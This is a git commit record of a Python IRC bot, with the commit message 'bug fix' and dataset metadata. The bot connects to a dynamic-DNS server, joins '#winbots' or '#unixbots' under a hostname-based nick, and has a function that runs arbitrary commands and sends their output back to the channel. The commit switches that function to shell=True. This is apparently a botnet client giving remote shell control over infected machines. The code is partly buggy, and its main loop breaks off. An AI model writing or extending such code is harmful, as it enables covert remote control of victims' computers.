<commit_before>import socket, os
import subprocess

#SETTINGS:
if  os.name=="nt":
	settings_channel = "#winbots"
else:
	settings_channel = "#unixbots"
	
settings_server = "jpdias.noip.me"
settings_port = 1723

settings_botnick = "bot-"+socket.gethostname()
settings_botpass = "password"
settings_owner = "root"
settings_commandprefix = "!"

#USER COMMAND FUNCTIONS:
def ParseUserCommands(irc, messageSender, messageChannel, messageSent):
	parseMessage = messageSent.split(" ")
	if len(parseMessage) > 1 and parseMessage[0] == (settings_commandprefix + "echo"):
		echoMessage = messageSent.split(" ", 1)[1]
		irc.send("PRIVMSG " + messageChannel + " :" + echoMessage + "\r\n")
		#print "--> PRIVMSG " + messageChannel + " :" + echoMessage

#EXECUTE COMMANDS

def ExecCmd(cmd):
	try :
		if settings_channel == "#unixbots":
			output =  subprocess.Popen(cmd.split[" "], stdout=subprocess.PIPE).communicate()[0]
		else:
			output =  subprocess.Popen(cmd, stdout=subprocess.PIPE).communicate()[0]
		irc.send ( 'PRIVMSG ' + messageChannel + ' :'+ output.replace("\r"," - ").replace("\n"," - ") +'\r\n' )
	except :
		output = "FAILED"
		irc.send ( 'PRIVMSG ' + messageChannel + ' :'+ output +'\r\n' )

#CONNECT:
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
irc.connect((settings_server, settings_port))
irc.send("USER " + settings_botnick + " " + settings_botnick + " " + settings_botnick + " :IRC bot maintained by " + settings_owner + "\r\n")
irc.send("NICK " + settings_botnick + "\r\n")
irc.send("PRIVMSG NickServ :identify " + settings_botpass + "\r\n")
irc.send("JOIN " + settings_channel + "\r\n")
#irc.send("PRIVMSG " + channel + " :Hi\r\n")

#MAIN LOOP:
while True:
	recvText = irc.recv(2048) #Text read from the server<commit_msg>bug fix<commit_after>import socket, os
import subprocess

#SETTINGS:
if  os.name=="nt":
	settings_channel = "#winbots"
else:
	settings_channel = "#unixbots"
	
settings_server = "jpdias.noip.me"
settings_port = 1723

settings_botnick = "bot-"+socket.gethostname()
settings_botpass = "password"
settings_owner = "root"
settings_commandprefix = "!"

#USER COMMAND FUNCTIONS:
def ParseUserCommands(irc, messageSender, messageChannel, messageSent):
	parseMessage = messageSent.split(" ")
	if len(parseMessage) > 1 and parseMessage[0] == (settings_commandprefix + "echo"):
		echoMessage = messageSent.split(" ", 1)[1]
		irc.send("PRIVMSG " + messageChannel + " :" + echoMessage + "\r\n")
		#print "--> PRIVMSG " + messageChannel + " :" + echoMessage

#EXECUTE COMMANDS

def ExecCmd(cmd):
	try :
		output =  subprocess.Popen(cmd, stdout=subprocess.PIPE,shell=True).communicate()[0]
		irc.send ( 'PRIVMSG ' + messageChannel + ' :'+ output.replace("\r"," - ").replace("\n"," - ") +'\r\n' )
	except :
		output = "FAILED"
		irc.send ( 'PRIVMSG ' + messageChannel + ' :'+ output +'\r\n' )

#CONNECT:
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
irc.connect((settings_server, settings_port))
irc.send("USER " + settings_botnick + " " + settings_botnick + " " + settings_botnick + " :IRC bot maintained by " + settings_owner + "\r\n")
irc.send("NICK " + settings_botnick + "\r\n")
irc.send("PRIVMSG NickServ :identify " + settings_botpass + "\r\n")
irc.send("JOIN " + settings_channel + "\r\n")
#irc.send("PRIVMSG " + channel + " :Hi\r\n")

#MAIN LOOP:
while True:
	recvText = irc.recv(2048) #Text read from the server
{'fraction_non_alphanumeric': 0.17207502232807384, 'fraction_numerical': 0.008038106579339089, 'mean_word_length': 4.863874345549738, 'pattern_counts': {'":': 3, '<': 3, '<?xml version=': 0, '>': 7, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '3970943', 'n_tokens_mistral': 1247, 'n_tokens_neox': 1197, 'n_words': 237}